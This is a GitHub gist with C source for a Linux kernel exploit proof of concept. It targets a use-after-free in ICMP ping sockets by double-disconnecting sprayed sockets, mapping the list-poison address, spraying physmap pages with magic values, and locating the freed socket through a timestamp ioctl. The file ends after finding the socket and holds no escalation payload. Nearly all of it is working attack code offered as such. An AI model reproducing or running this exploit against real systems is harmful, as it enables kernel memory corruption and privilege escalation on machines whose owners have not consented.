Created
July 30, 2020 06:28
-
-
Save f0rm2l1n/31ab1d42e0e18f94a5ce928816a5f65c to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <errno.h> | |
#include <limits.h> | |
#include <signal.h> | |
#include <string.h> | |
#include <time.h> | |
#include <pthread.h> | |
#include <sys/wait.h> | |
#include <sys/sysinfo.h> | |
#include <sys/types.h> | |
#include <sys/mman.h> | |
#include <sys/socket.h> | |
#include <linux/in.h> | |
#include <linux/sockios.h> | |
#define PAGE_SIZE (0x1000) | |
#define MAX_NULLMAP_SIZE (PAGE_SIZE * 4) | |
#define LIST_POSIION (0x200200) | |
#define PROTECT_BASE (LIST_POSIION&~(PAGE_SIZE-1)) | |
#define MAX_VULTRIG_SOCKS_COUNT (4000) | |
#define MAX_PHYSMAP_SIZE (128 * 1024 * 1024) // 128 MB, cannot be too bigger... | |
// 128*6 in total, we only assigned with 1GB | |
#define MAX_PHYSMAP_SPRAY_PROCESS (6) // 6 times | |
#define MAGIC_VALUE (0x4B5F5F4B) | |
#define SIOCGSTAMPNS (0x8907) | |
#define NSEC_PER_SEC (1000000000) | |
int vultrig_socks[MAX_VULTRIG_SOCKS_COUNT]; | |
void* physmap_spray_pages[(MAX_PHYSMAP_SIZE / PAGE_SIZE) * MAX_PHYSMAP_SPRAY_PROCESS]; | |
pid_t physmap_spray_children[MAX_PHYSMAP_SPRAY_PROCESS]; | |
int physmap_spray_pages_count; | |
void* payload = NULL; | |
int exp_sock = -1; | |
static inline void errhandler(char* s) | |
{ | |
perror(s); | |
exit(EXIT_FAILURE); | |
} | |
void prepare(void) | |
{ | |
printf("[+] Start prepare...\n"); | |
/* maximize the fd limit to enable spraying */ | |
struct rlimit rlim; | |
int ret; | |
ret = getrlimit(RLIMIT_NOFILE, &rlim); | |
if (ret != 0) errhandler("[!] prepare().getrlimit-1"); | |
rlim.rlim_cur = rlim.rlim_max; | |
setrlimit(RLIMIT_NOFILE, &rlim); | |
ret = getrlimit(RLIMIT_NOFILE, &rlim); | |
if (ret != 0) errhandler("[!] prepare().getrlimit-2"); | |
printf("[~] Done prepare!\n"); | |
} | |
void protection(void) | |
{ | |
printf("[+] Start protection...\n"); | |
int i; | |
void* protect = mmap(PROTECT_BASE, MAX_NULLMAP_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0); | |
if(protect == MAP_FAILED) errhandler("[!] protection().mmap"); | |
for(i = 0; i < MAX_NULLMAP_SIZE / PAGE_SIZE; i++) | |
memset((char *)protect + PAGE_SIZE * i, 0x90, PAGE_SIZE); | |
if(mlock(PROTECT_BASE, MAX_NULLMAP_SIZE) == -1) errhandler("[!] protection().mlock"); | |
printf("[~] Done protection!\n"); | |
} | |
void spraying(void) | |
{ | |
printf("[+] Start socket spraying...\n"); | |
int i, ret; | |
struct sockaddr _sockaddr1 = { .sa_family = AF_INET }; | |
struct sockaddr _sockaddr2 = { .sa_family = AF_UNSPEC }; | |
for(i = 0; i < MAX_VULTRIG_SOCKS_COUNT; i++) | |
{ | |
vultrig_socks[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP); | |
if(vultrig_socks[i] < 0) errhandler("[!] spraying().socket-create vultrig sockets"); | |
ret = connect(vultrig_socks[i], &_sockaddr1, sizeof(_sockaddr1)); | |
if(ret < 0) errhandler("[!] spraying().connect-hashing the socket"); | |
} | |
for(i = 0; i < MAX_VULTRIG_SOCKS_COUNT; i++) | |
{ | |
ret = connect(vultrig_socks[i], &_sockaddr2, sizeof(_sockaddr2)); | |
if(ret < 0) errhandler("[!] spraying().connect-free once"); | |
ret = connect(vultrig_socks[i], &_sockaddr2, sizeof(_sockaddr2)); | |
if(ret < 0) errhandler("[!] spraying().connect-free twice"); | |
} | |
printf("[~] Done socket spraying!\n"); | |
printf("[+] Start physmap spraying...\n"); | |
memset(physmap_spray_pages, 0, sizeof(physmap_spray_pages)); | |
memset(physmap_spray_children, 0, sizeof(physmap_spray_children)); | |
physmap_spray_pages_count = 0; | |
for(i = 0; i < MAX_PHYSMAP_SPRAY_PROCESS; i++) | |
{ | |
int j; | |
void* mapped; | |
void* mapped_page; | |
mapped = mmap(NULL, MAX_PHYSMAP_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0); | |
if (mapped == MAP_FAILED) errhandler("[!] spraying().mmap"); | |
for(j = 0; j < MAX_PHYSMAP_SIZE / PAGE_SIZE; j++) | |
{ | |
memset((void *)((char *)mapped + PAGE_SIZE * j), 0x41, PAGE_SIZE); | |
mapped_page = (void *)((char *)mapped + PAGE_SIZE * j); | |
*(unsigned long *)((char *)mapped_page + 0x1D8) = MAGIC_VALUE + physmap_spray_pages_count; | |
physmap_spray_pages[physmap_spray_pages_count] = mapped_page; | |
physmap_spray_pages_count++; | |
} | |
} | |
printf("[~] Done physmap spraying!\n"); | |
} | |
void fetching(void) | |
{ | |
printf("[+] Start fetching the UAF socket...\n"); | |
struct timespec time; | |
uint64_t value; | |
void* page = NULL; | |
int j = 0; | |
int got = 0; | |
int index = MAX_VULTRIG_SOCKS_COUNT / 2; | |
do | |
{ | |
exp_sock = vultrig_socks[index]; | |
memset(&time, 0, sizeof(time)); | |
ioctl(exp_sock, SIOCGSTAMPNS, &time); | |
value = ((uint64_t)time.tv_sec * NSEC_PER_SEC) + time.tv_nsec; | |
for(j = 0; j < physmap_spray_pages_count; j++) | |
{ | |
page = physmap_spray_pages[j]; | |
if(value == *(unsigned long *)((char *)page + 0x1D8)) | |
{ | |
printf("[*] obtained magic:%p\n", value); | |
got = 1; | |
payload = page; | |
break; | |
} | |
} | |
index += 1; | |
} | |
while(!got && index < MAX_VULTRIG_SOCKS_COUNT); | |
if(got == 0) errhandler("[!] fetching() fail..."); | |
printf("[~] Done fetching the UAF socket!\n"); | |
} | |
int main(int argc, char* argv[]) | |
{ | |
prepare(); | |
// We can do some preparation here, maximize the resources for example | |
protection(); | |
// Then we should do `mmap` of the poision value to avoid early crash | |
spraying(); | |
// We should create vulnerable sockets as well as spraying lots of ping sock objects here | |
fetching(); | |
// Then we can do lots of mmap here, trying to fetch the target page | |
close(exp_sock); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment